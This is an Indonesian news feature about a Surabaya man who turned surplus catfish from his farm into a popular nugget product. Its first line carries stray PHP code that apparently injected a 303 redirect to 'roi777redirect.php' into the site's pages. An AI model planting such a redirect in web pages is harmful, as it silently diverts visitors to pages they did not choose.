header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); Awalnya Coba-Coba, Kini Laris di Pasaran -
Awalnya Coba-Coba, Kini Laris di Pasaran

Olahan Nugget Dari Daging Lele

TRANSLAMPUNG.COM, – Membahas nugget, bayangan kita pasti tertuju pada bahan dasarnya, daging ayam atau sapi. Tentu saja rasanya begitu enak, apalagi jika saat makannya diberi sambal. Tapi, bagaimana jika bahan dasarnya dari daging lele?

ANGGUN ANGKA WIJAYA-Wartawan Radar Surabaya (Group Trans Lampung)

Adalah Yudha Andayana, warga Panjajiwo yang menjadi pencetus dan sekaligus owner dari inovasi olahan kuliner ini. “Daging lele memiliki  kadar gizi yang cukup tinggi. Mulai kandungan seperti omega 3 yang baik untuk perkembangan otak, protein untuk pembaharuan sel, serta kalori untk memasok energi tubuh kita,” kata Yudha, sapaan karib Yudha Andayana, Sabtu (6/1).

Yudha mengaku, awalnya dia iseng mengolah daging lele yang didapatnya dari peternakan ikan air tawar miliknya itu.  “Bahan banyak. Sayang kalau dibuang. Akhirnya saya coba nugget dari bahan yang berbeda dari yang sudah ada,” ujarnya

Selain itu, lanjutnya, nugget ikan lele juga bisa menjadi alternatif pilihan bagi para orang tua untuk memberikan asupan nutrisi, ketika sang buah hati tidak terlalu doyan makan ikan. Tak disangka, dari coba-coba, produk Yudha ini laris manis di pasaran. “Saya banyak belajar dari teman-teman. Terutama dalam pengemasan agar awet dan bisa nembus sampai supermarket atau lainnya,” beber Yudha.

Dikatakan Yudha, usaha yang dirintis sejak tahun 2017 ini kebanyakan disuka para ibu. “Biasanya mereka memasak nugget untuk lauk bekal anak-anak mereka ke sekolah,” ujar  alumnus Universitas Pembangunan Nasional (UPN) Veteran Surabaya

Yudha menyebutkan, peredaran nugget produksinya tak hanya dinikmati oleh warga Surabaya dan sekitarnya. Tapi sudah mencapai Jogjakarta dan beberapa derah lain. “Kemarin juga barusan kirim ke Jogja. Kami juga tengah fokus untuk melebarkan pasar di sana, karena hal ini masih merupakan tester. Jadi kami hanya mengirimkan sebanyak 60 pack dulu untuk mengetahui respon pasar,” jelasnya.

Ia menambahkan, olahan kuliner berstandar home industri sekalipun seharusnya tak kalah dengan olahan yang di produksi berskala pabrik.

Yudha berharap, dengan bertambahnya pelanggan, dia bisa mengembangkan usahannya yang berdampak pada pemberdayaan warga sekitar sebagai karyawan. Untuk sekarang, Yudha masih memiliki empat karyawan yang terlibat dalam produksi nugget. “Kalau sukses, berarti ikut mendukung program Menteri Perikanan dan Kelautan Indonesia untuk menggencarkan sosialasi kepada masyarakat tentang pentingnya mengkonsumsi ikan, terlebih bagi sang buah hati,” ujar Yudha. (jpg/hkw) 

 

 

News Reporter